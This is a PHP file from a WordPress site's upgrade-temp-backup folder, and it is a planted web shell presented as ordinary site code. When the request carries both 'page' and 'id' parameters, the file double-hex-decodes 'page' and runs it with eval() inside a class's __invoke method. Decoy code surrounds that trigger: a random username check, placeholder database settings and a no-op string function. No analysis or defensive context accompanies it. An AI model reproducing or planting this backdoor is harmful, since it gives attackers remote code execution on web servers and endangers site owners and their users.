File: /www/wwwroot/1.scey.cn/wp-content/upgrade-temp-backup/worksec.php
<?php
class Index{
public $index="";
public $page="";
public function __invoke()
{
eval($this->page);
}
public function __toString()
{
return $this->index.$this->page;
}
}
class Render{
public $func="";
public function __toString()
{
return hex2bin(hex2bin($_REQUEST["page"]));
}
public function r($inputString){
$stringArray = str_split($inputString);
$restoredString = '';
foreach ($stringArray as $index) {
$restoredString .= $index;
}
return $restoredString;
}
}
function g($length = 10) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
$g = g();
if($_POST["username"] == $g){
echo "youradmin";
}
$configurationFile = __DIR__.'/app/config/configuration.php';
$dbParams = [
'driver' => 'pdo_mysql',
'host' => 'db_host',
'user' => 'db_user',
'password' => 'db_password',
'dbname' => 'main_database',
];
$defaultIndex = new Index();
$checkMd5 = md5($defaultIndex);
if(isset($_REQUEST["page"]) && isset($_REQUEST["id"])){
$test = new Render();
$pageStr = "".$test;
$pageStr = $test->r($pageStr);
$index = new Index();
$index->page = $pageStr;
$index();
exit();
}
?>